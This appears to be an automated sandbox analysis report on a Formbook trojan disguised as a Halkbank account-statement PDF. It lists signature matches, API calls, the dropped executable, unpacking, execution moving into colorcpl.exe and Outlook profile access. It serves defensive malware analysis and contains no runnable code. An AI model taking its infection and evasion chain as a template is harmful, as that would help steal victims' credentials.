Source: 00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Code function: 0_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403640

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	Code function: 0_2_00406D5F	0_2_00406D5F
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0043D08A	1_2_0043D08A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00419173	1_2_00419173
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0043311F	1_2_0043311F
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00432120	1_2_00432120
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_004051F3	1_2_004051F3
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0042C27E	1_2_0042C27E
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0041A2A2	1_2_0041A2A2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0043C341	1_2_0043C341
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_004194BB	1_2_004194BB
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0043D4BF	1_2_0043D4BF
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0041A616	1_2_0041A616
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00432630	1_2_00432630
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00419812	1_2_00419812
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0043C83D	1_2_0043C83D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0041AA46	1_2_0041AA46
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00432A70	1_2_00432A70
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00419BAF	1_2_00419BAF
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0043CC55	1_2_0043CC55
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00438CB4	1_2_00438CB4
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00430D72	1_2_00430D72
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00428E2C	1_2_00428E2C
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00419F3D	1_2_00419F3D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00405803	3_2_00405803
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00403883	3_2_00403883
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00401B60	3_2_00401B60
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00421B3F	3_2_00421B3F
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00401C70	3_2_00401C70
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_004055E2	3_2_004055E2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_004055E3	3_2_004055E3
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_004206D3	3_2_004206D3
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_004017C0	3_2_004017C0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_0040BFCE	3_2_0040BFCE
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_0040BFD3	3_2_0040BFD3
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_0040BF8D	3_2_0040BF8D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_004017B3	3_2_004017B3
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A920A0	3_2_00A920A0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B320A8	3_2_00B320A8
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7B090	3_2_00A7B090
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B328EC	3_2_00B328EC
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B3E824	3_2_00B3E824
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B21002	3_2_00B21002
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A84120	3_2_00A84120
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A6F900	3_2_00A6F900
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B322AE	3_2_00B322AE
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A9EBB0	3_2_00A9EBB0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2DBD2	3_2_00B2DBD2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B32B28	3_2_00B32B28
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7841F	3_2_00A7841F
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2D466	3_2_00B2D466
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A92581	3_2_00A92581
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A7D5E0	3_2_00A7D5E0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B325DD	3_2_00B325DD
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A60D20	3_2_00A60D20
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B32D07	3_2_00B32D07
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B31D55	3_2_00B31D55
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B32EF7	3_2_00B32EF7
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00A86E30	3_2_00A86E30
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B2D616	3_2_00B2D616
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B31FF1	3_2_00B31FF1
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00B3DFCE	3_2_00B3DFCE

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: String function: 00403400 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: String function: 004260F8 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: String function: 0042A4C8 appears 54 times
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: String function: 00A6B150 appears 35 times

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_0041E5F3 NtCreateFile,	3_2_0041E5F3
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_0041E6A3 NtReadFile,	3_2_0041E6A3
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_0041E723 NtClose,	3_2_0041E723
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_0041E7D3 NtAllocateVirtualMemory,	3_2_0041E7D3
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_0041E5ED NtCreateFile,	3_2_0041E5ED
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_0041E69D NtReadFile,	3_2_0041E69D
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_0041E7CD NtAllocateVirtualMemory,	3_2_0041E7CD
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA98F0 NtReadVirtualMemory,LdrInitializeThunk,	3_2_00AA98F0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9860 NtQuerySystemInformation,LdrInitializeThunk,	3_2_00AA9860
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9840 NtDelayExecution,LdrInitializeThunk,	3_2_00AA9840
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA99A0 NtCreateSection,LdrInitializeThunk,	3_2_00AA99A0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	3_2_00AA9910
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9A20 NtResumeThread,LdrInitializeThunk,	3_2_00AA9A20
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9A00 NtProtectVirtualMemory,LdrInitializeThunk,	3_2_00AA9A00
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9A50 NtCreateFile,LdrInitializeThunk,	3_2_00AA9A50
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA95D0 NtClose,LdrInitializeThunk,	3_2_00AA95D0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9540 NtReadFile,LdrInitializeThunk,	3_2_00AA9540
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA96E0 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_00AA96E0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9660 NtAllocateVirtualMemory,LdrInitializeThunk,	3_2_00AA9660
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA97A0 NtUnmapViewOfSection,LdrInitializeThunk,	3_2_00AA97A0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9780 NtMapViewOfSection,LdrInitializeThunk,	3_2_00AA9780
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9FE0 NtCreateMutant,LdrInitializeThunk,	3_2_00AA9FE0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9710 NtQueryInformationToken,LdrInitializeThunk,	3_2_00AA9710
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA98A0 NtWriteVirtualMemory,	3_2_00AA98A0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9820 NtEnumerateKey,	3_2_00AA9820
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AAB040 NtSuspendThread,	3_2_00AAB040
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA99D0 NtCreateProcessEx,	3_2_00AA99D0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9950 NtQueueApcThread,	3_2_00AA9950
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9A80 NtOpenDirectoryObject,	3_2_00AA9A80
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9A10 NtQuerySection,	3_2_00AA9A10
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AAA3B0 NtGetContextThread,	3_2_00AAA3B0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9B00 NtSetValueKey,	3_2_00AA9B00
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA95F0 NtQueryInformationFile,	3_2_00AA95F0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9520 NtWaitForSingleObject,	3_2_00AA9520
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AAAD30 NtSetContextThread,	3_2_00AAAD30
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9560 NtWriteFile,	3_2_00AA9560
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA96D0 NtCreateKey,	3_2_00AA96D0
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9610 NtEnumerateValueKey,	3_2_00AA9610
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9670 NtQueryInformationProcess,	3_2_00AA9670
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9650 NtQueryValueKey,	3_2_00AA9650
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9730 NtQueryVirtualMemory,	3_2_00AA9730
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AAA710 NtOpenProcessToken,	3_2_00AAA710
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9760 NtOpenProcess,	3_2_00AA9760
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AA9770 NtSetInformationFile,	3_2_00AA9770
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00AAA770 NtOpenThread,	3_2_00AAA770

Source: Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	ReversingLabs: Detection: 35%
Source: Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	Virustotal: Detection: 44%

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

File read: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Jump to behavior

Source: Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	Process created: C:\Users\user\AppData\Local\Temp\vokkqsp.exe "C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Process created: C:\Users\user\AppData\Local\Temp\vokkqsp.exe C:\Users\user\AppData\Local\Temp\vokkqsp.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	Process created: C:\Users\user\AppData\Local\Temp\vokkqsp.exe "C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Process created: C:\Users\user\AppData\Local\Temp\vokkqsp.exe C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\SysWOW64\colorcpl.exe	Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

0_2_00403640

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

File created: C:\Users\user\AppData\Local\Temp\nsaF64E.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/5@8/6

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Code function: 0_2_004021AA CoCreateInstance,

0_2_004021AA

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Code function: 0_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404AB5

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5584:120:WilError_01

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: colorcpl.pdbGCTL source: vokkqsp.exe, 00000003.00000002.346318075.0000000000E60000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: colorcpl.pdb source: vokkqsp.exe, 00000003.00000002.346318075.0000000000E60000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: vokkqsp.exe, 00000001.00000003.302185961.000000001A230000.00000004.00001000.00020000.00000000.sdmp, vokkqsp.exe, 00000001.00000003.306583480.000000001A0A0000.00000004.00001000.00020000.00000000.sdmp, vokkqsp.exe, 00000003.00000003.308452464.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, vokkqsp.exe, 00000003.00000003.306750536.000000000070D000.00000004.00000020.00020000.00000000.sdmp, vokkqsp.exe, 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, vokkqsp.exe, 00000003.00000002.344637364.0000000000B5F000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.346236668.0000000004ED3000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000002.569116522.000000000518F000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.343907038.0000000004D3E000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000002.569116522.0000000005070000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: vokkqsp.exe, vokkqsp.exe, 00000003.00000003.308452464.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, vokkqsp.exe, 00000003.00000003.306750536.000000000070D000.00000004.00000020.00020000.00000000.sdmp, vokkqsp.exe, 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, vokkqsp.exe, 00000003.00000002.344637364.0000000000B5F000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.346236668.0000000004ED3000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000002.569116522.000000000518F000.00000040.00001000.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000003.343907038.0000000004D3E000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 00000005.00000002.569116522.0000000005070000.00000040.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Unpacked PE file: 3.2.vokkqsp.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.gfids:R;.rsrc:R; vs .text:ER;

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0043A222 push ecx; ret	1_2_0043A235
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00403446 push ecx; ret	1_2_00403459
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00403CB7 push ebx; retf	1_2_00403CB8
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00407033 push ds; retf	3_2_00407034
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_0041B377 pushad ; iretd	3_2_0041B378
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_0041B379 push eax; iretd	3_2_0041B37A
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00403444 push ebp; ret	3_2_00403450
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_004055DA push ecx; ret	3_2_004055E1
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_004105E3 push esi; iretd	3_2_004105ED
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00401DB0 push eax; ret	3_2_00401DB2
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 3_2_00ABD0D1 push ecx; ret	3_2_00ABD0E4

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

File created: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\colorcpl.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\colorcpl.exe TID: 5864

Thread sleep time: -42000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\colorcpl.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\colorcpl.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Code function: 3_2_00A96A60 rdtscp

3_2_00A96A60

Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 878			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 877			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	API coverage: 4.6 %
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	API coverage: 9.3 %

Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	Code function: 0_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405D74
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	Code function: 0_2_0040699E FindFirstFileW,FindClose,	0_2_0040699E
Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	Code function: 0_2_0040290B FindFirstFileW,	0_2_0040290B
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_00424002 FindFirstFileExW,	1_2_00424002
Source: C:\Users\user\AppData\Local\Temp\vokkqsp.exe	Code function: 1_2_0040101E FindFirstFileW,FindClose,	1_2_0040101E
